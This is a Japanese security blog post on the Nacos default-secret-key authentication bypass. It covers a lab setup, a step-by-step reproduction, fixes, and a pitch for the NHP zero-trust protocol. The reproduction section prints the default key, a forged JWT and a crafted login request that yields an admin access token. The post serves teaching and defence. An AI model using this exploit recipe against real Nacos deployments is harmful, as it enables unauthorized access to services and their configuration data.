banner
B1ueD0g

BlueDog's Home

上班使我怨气比鬼重!
x
telegram
email

Nacosのセキュリティ強化:従来のセキュリティから革新的なNHPプロトコルへの進化

0x01 概述#

過去四年間、著者はさまざまな攻防演習、ネットワーク保護活動、重点保障任務に参加することで、従来のネットワークセキュリティ戦略の限界を深く認識しました。これらの実戦経験は、サークルがネットワークセキュリティやデジタルセキュリティ分野への理解を深めるだけでなく、絶えず進化する脅威環境の中で、従来のセキュリティ対策がいかに不十分になっているかを明らかにしました。特に 2023 年のネットワーク保護活動では、Nacos の 0day 脆弱性事件が業界内で広く注目を集めました。

このような背景の中、従来のセキュリティ製品、例えばファイアウォールや Web アプリケーションファイアウォール(WAF)は、このようなアプリケーション層の脆弱性に対処する際に力不足を感じます。これらの製品は特定のネットワーク層の攻撃に対して効果的に防御できますが、Nacos が直面している認証バイパスのような複雑なアプリケーション層の脆弱性に対しては、十分な保護を提供できないことが多いです。さらに、このような脆弱性に対しては、パッチを適用するまでのサイクルが長くなることが多く、脆弱性が公開され修正される前にシステムが高リスク状態にさらされることを意味し、HW 活動中に突破される原因となります。

この記事は、Nacos のQVD-2023-6271という脆弱性を通じて、従来のセキュリティ製品が複雑なネットワーク脅威に対処する際の限界を探り、ネットワークリソース超隠密プロトコル(NHP プロトコル)という新興のネットワークセキュリティ手法を紹介することを目的としています。NHP プロトコルはゼロトラストセキュリティフレームワークの核心コンポーネントの一つであり、ネットワーク環境におけるリソースの隠密性と安全なアクセスを目的に設計されています。「決して信頼せず、常に検証する」というセキュリティ理念の下、厳格な認証と権限付与のプロセスを通じてデータリソースへのアクセスを制御します。この手法は、Nacos のアプリケーションシナリオにおいてシステムのセキュリティを著しく強化しました。NHP プロトコルを Nacos に適用することで、認証バイパス脆弱性のような特定のセキュリティ課題に効果的に対処できるだけでなく、より広範なレベルでシステム全体のセキュリティとレジリエンスを向上させることができます。この記事では、NHP プロトコルが Nacos のセキュリティ強化においてどのように応用されているか、そして従来のセキュリティ製品に対するその利点について深く探ります。

image-20240108101645007

0x02 脆弱性の影響範囲#

Nacos は、アリババがオープンソースで提供する SpringCloud Alibaba プロジェクトの一部です。Nacos は、動的構成管理、サービス発見、およびサービス管理のためのプラットフォームであり、開発者がマイクロサービスアーキテクチャのアプリケーションをより簡単に構築および管理できるようにします。これは、構成情報を集中管理する方法を提供し、マイクロサービスを発見および登録するためにも使用でき、これによりそれらが効果的に通信および協力できることを保証します。これにより、Nacos は分散システムを構築するための強力なツールの一つとなっています。現在、Github のこのリポジトリには 28.3k 以上のスターがあります。

脆弱性の紹介:オープンソースのサービス管理プラットフォーム Nacos には、認証バイパスの脆弱性が存在し、デフォルト設定の下で token.secret.key が変更されていないため、リモート攻撃者がキー認証をバイパスしてバックエンドにアクセスできることにより、システムが制御されるなどの結果を引き起こします。

影響を受けるバージョン:Nacos <= 2.2.0

利用難易度:低

脆弱性番号:NVDB-CNVDB-2023674205 QVD-2023-6271

脅威レベル:重大、リモートコード実行を引き起こす可能性があります。

総合評価:脆弱性の利用難易度は低く、外部ネットワークの状況下でリモートコード実行を引き起こす可能性があり、すでに公開されているため、ハッカーが全ネットワークスキャンを行うために利用可能です。

0x03 攻撃原理#

Nacos では、token.secret.key の値は固定されています。

image-20240107203717097

key=SecretKey012345678901234567890123456789012345678901234567890123456789

このデフォルトキーを利用して JWT を構築し、直接バックエンドにアクセスします。

image-20240107184404462

0x04 再現手順#

IP アドレス用途備考
172.17.0.1ターゲットマシンdocker コンテナを設定して docker サービスを起動
192.168.31.31攻撃機 Kali攻撃機

環境機の構築#

Windows 環境の構築#

この脆弱性は JAVA 環境を使用しており、ネット上の既存の再現記事を参考にして、jdk-11.0.2_windows-x64_bin.exe を使用します。

ダウンロードリンク:https://github.com/alibaba/nacos/releases/tag/2.2.0

2.2.0 以降の Nacos はこの脆弱性を修正しているため、2.2.0 のパッケージを使用します。

ダウンロードが完了したら、仮想マシンに配置し、startup.cmd -m standaloneを実行します。

実行が成功すると、ローカルで Nacos を起動できます。

img

上記の図の出力情報が表示されると、構築が成功したことを示します。パスを通じてアクセスします。

http://192.168.31.31:8848/nacos/#/login

img

Linux での docker による Nacos の構築#

今回の脆弱性再現には docker を使用します。docker 内で以下のコマンドを実行します。

docker search nacos #適切なNacosバージョンを探す
docker pull nacos/nacos-server #イメージをダウンロード

image-20240107183035913

マウントを設定します。

mkdir -p /tmp/nacos/logs/                      #logsディレクトリを新規作成
mkdir -p /tmp/nacos/init.d/  

設定ファイルを修正します。

vim /tmp/nacos/init.d/custom.properties 
server.contextPath=/nacos
server.servlet.contextPath=/nacos
server.port=8848
spring.datasource.platform=mysql
db.num=1
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos-config? characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true #ここでポートを修正する必要があります
db.user=root #ユーザー名
db.password=123456 #パスワード
nacos.cmdb.dumpTaskInterval=3600
nacos.cmdb.eventTaskInterval=10
nacos.cmdb.labelTaskInterval=300
nacos.cmdb.loadDataAtStart=false
management.metrics.export.elastic.enabled=false
management.metrics.export.influx.enabled=false
server.tomcat.accesslog.enabled=true
server.tomcat.accesslog.pattern=%h %l %u %t "%r" %s %b %D %{User-Agent}i
nacos.security.ignore.urls=/,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/v1/auth/login,/v1/console/health/**,/v1/cs/**,/v1/ns/**,/v1/cmdb/**,/actuator/**,/v1/console/server/**
nacos.naming.distro.taskDispatchThreadCount=1
nacos.naming.distro.taskDispatchPeriod=200
nacos.naming.distro.batchSyncKeyCount=1000
nacos.naming.distro.initDataRatio=0.9
nacos.naming.distro.syncRetryDelay=5000
nacos.naming.data.warmup=true
nacos.naming.expireInstance=true

コンテナを起動します。

docker run --name nacos -d -p 8848:8848 -p 9848:9848 --privileged=true --restart=always -e JVM_XMS=256m -e JVM_XMS=256m -e MODE=standalone -e PREFER_HOST_MODE=hostname -e PREFER_HOST_MODE=hostname -v /tmp/nacos/logs:/home/nacos/logs  -v /tmp/nacos/init.d/custom.properties:/home/nacos/init.d/custom.properties nacos/nacos-server

コンテナが正常に起動した後、docker にいくつかの問題があるようです。以下のコマンドを実行すれば、コンテナが正常に起動します。

docker exec -it [コンテナハッシュ] /bin/bash #dockerコンテナに入る
cd bin
sh docker-startup.sh

ウェブサイトにアクセスします http://192.168.31.31:8848/nacos

ウェブサイトが正常に開きました。

image-20240107184102007

4.2 脆弱性再現#

Nacos では、token.secret.key は固定されており、conf ディレクトリ内の application.properties に位置しています。

私の環境での key 値は:SecretKey012345678901234567890123456789012345678901234567890123456789}

この値を利用して JWT を構築し、https://jwt.io/ にアクセスしてデフォルトの key 値を入力します。

{
  "alg": "HS256",
  "typ": "JWT"
}

{
   "sub":"nacos",
   "exp":"1704724306"
}

image-20240107191207740

ここで exp の値は現在のタイムスタンプの後の時間で、実際の時間よりも遅くする必要があります。

ウェブサイトでは、secret base64 encodedオプションを選択する必要があることに注意してください。

データパケットにAuthorizationリクエストパケットを追加します。

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.31.31:8848
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://139.196.217.155
Connection: close
Referer: http://139.196.217.155/nacos/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MDQ3MjQzMDYifQ.tjGozAqCoY1r0AKy8fnF1qORQAtF-7-dDrnBR2t2-08

username=admin&password=123456

データパケットを送信し、応答パケットをキャッチして、access_token を取得しました。

image-20240107190217940

取得した情報をすべてコピーして保存し、通常のログインを行い、応答パケットをキャッチして、返されたパケットをコピーした情報に変更すれば、正常にログインが完了します。

image-20240107191145885

0x05 修正案#

一、最新バージョンにアップグレードする

二、デフォルト設定から以下のオプションを削除し、Nacos を起動する際には手動で設定する必要があります。

conf/application.properties ファイルを修正することで可能です。

nacos.core.auth.server.identity.key
nacos.core.auth.server.identity.value
nacos.core.auth.plugin.nacos.token.secret.key
  1. Nacos の application.properties 設定ファイルを修正し、nacos.core.auth.enabled=true を設定してサービスのアイデンティティ認識機能を有効にします。
  2. Nacos を再起動します。

この時、先ほどのインターフェースにアクセスすると、ブラウザで実行した場合にこのような表示が出る場合があります:

img

403 が表示される場合は、修正が成功したことを示します。

  1. Nacos の登録および構成センターで権限認証を有効にします。

img

以上の修正が完了した後、再度脆弱性スキャンを行うと、Nacos の権限バイパス脆弱性(CVE-2021-29441)は再発しません。

0x06 従来のセキュリティ製品と Nacos 脆弱性処理の限界#

ネットワークセキュリティ分野において、従来のセキュリティ製品、例えばアリババクラウドセキュリティセンター(旧クラウドナイト)は、基本的な保護措置を提供していますが、複雑で高度なセキュリティ脅威に対処する際には、その能力が不足している可能性があります。Nacos の脆弱性を例にとると、従来のセキュリティ製品は主にアプリケーションのアップグレードやサーバー設定ファイルの修正といった受動的で一般的な戦略に依存しています。この方法は、既知の脆弱性に対する即時防御には効果的ですが、根本的にはセキュリティ脆弱性の潜在的リスクを解決していません。

アリババクラウドセキュリティセンターは、Nacos の認証バイパス脆弱性を発見した後、推奨される修正戦略は主にアプリケーションのアップグレードと、ネイティブクラウドサーバーアプリケーションの設定ファイルの修正です。この方法は一定の程度で防護を提供できますが、より深層のセキュリティ問題に対処するための体系的な解決策を提供していません。例えば、アプリケーションのアップグレードだけでは将来のセキュリティ脆弱性を完全に回避することはできず、設定ファイルの直接修正はアプリケーションの正常な動作に影響を与える可能性があります。さらに重要なのは、これらの従来のセキュリティ製品は通常、既知の脅威に直面したときにのみ効果的な防護措置を提供します。未知の脅威に対する予防能力が欠如しており、発見されていないセキュリティ脆弱性を積極的に識別し防御することができません。また、クラウドサービスプロバイダーにセキュリティ介入を依存することは、顧客が自らのセキュリティ状況に依存することを招き、セキュリティ管理や継続的な監視における責任を無視することにつながる可能性があります。

したがって、Nacos のような複雑な脆弱性に対処する際には、従来のクラウドセキュリティ製品だけでは十分な保護を提供できない可能性があります。真にセキュリティを向上させ、外部サービスへの依存を減らすためには、NHP(ネットワークリソース超隠密)プロトコルのようなより先進的で積極的なセキュリティ対策を探求する必要があります。次の部分では、NHP プロトコルが Nacos のセキュリティ強化においてどのように応用されているか、そして従来のクラウドセキュリティ製品に対するその利点について詳しく探ります。

0x07 NHP プロトコルが Nacos のセキュリティ強化において果たす役割#

NHP プロトコルの概要#

ネットワークリソース超隠密プロトコル(NHP)は、ゼロトラストセキュリティフレームワークの核心コンポーネントの一つであり、ネットワーク環境におけるリソースの隠密性と安全なアクセスを目的に設計されています。「決して信頼せず、常に検証する」というゼロトラストセキュリティ理念の下、NHP プロトコルは厳格な認証と権限付与のプロセスを通じてデータリソースへのアクセスを制御し、認証された合法的なリクエスト者のみが目標リソースにアクセスできることを保証します。NHP プロトコルの技術アーキテクチャには、NHP プロキシ、NHP サーバー、NHP ゲートウェイなどのコンポーネントが含まれ、協調してデータリソースの真のネットワーク位置を隠し、安全な権限アクセスを提供します。

NHP プロトコルと Nacos のセキュリティ#

Nacos のアプリケーションシナリオにおいて、NHP プロトコルの適用はシステムのセキュリティを著しく強化することができます。Nacos が直面している認証バイパス脆弱性に対して、NHP プロトコルは効果的な防御メカニズムを提供します。NHP を通じて、Nacos サーバーはネットワーク上で「隠密」になることができ、未認証の状態では潜在的な攻撃者や非認可ユーザーから見えなくなります。NHP プロトコルのノックプロセスにより、認証されたリクエスト者のみが Nacos サーバーを発見しアクセスできるようになり、未承認のアクセスや潜在的な攻撃の機会を大幅に減少させます。さらに、NHP プロトコルはその分散アーキテクチャと効率的な暗号通信メカニズムを通じて、Nacos に追加のセキュリティ保護を提供し、データ通信の完全性と機密性を確保します。

NHP プロトコルの利点#

NHP プロトコルの Nacos のセキュリティ強化における適用は、多くの利点をもたらします。まず、NHP は Nacos サービスのネットワーク位置を隠すことで、悪意のあるスキャンや識別のリスクを著しく低下させます。次に、NHP プロトコルの認証と権限付与メカニズムは、Nacos に対してより強力なアクセス制御を提供し、厳格に認証されたユーザーのみがサービスにアクセスできることを保証します。これは、認証脆弱性に対する防御において特に重要です。さらに、NHP プロトコルの設計は性能と拡張性も考慮されており、セキュリティを向上させる一方で、Nacos システムの性能に過大な影響を与えないようにしています。最後に、NHP プロトコルの適用は、Nacos システムの全体的なセキュリティ状況を向上させ、今日の複雑で変化するネットワークセキュリティ環境により適応できるようにします。

総じて、NHP プロトコルを Nacos に適用することで、特定のセキュリティ課題、例えば認証バイパス脆弱性に効果的に対処できるだけでなく、より広範なレベルでシステム全体のセキュリティとレジリエンスを向上させることができます。これにより、NHP プロトコルは Nacos のセキュリティアーキテクチャを向上させる重要な要素となり、重要なデータリソースを保護するための革新的かつ効果的な方法を提供します。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。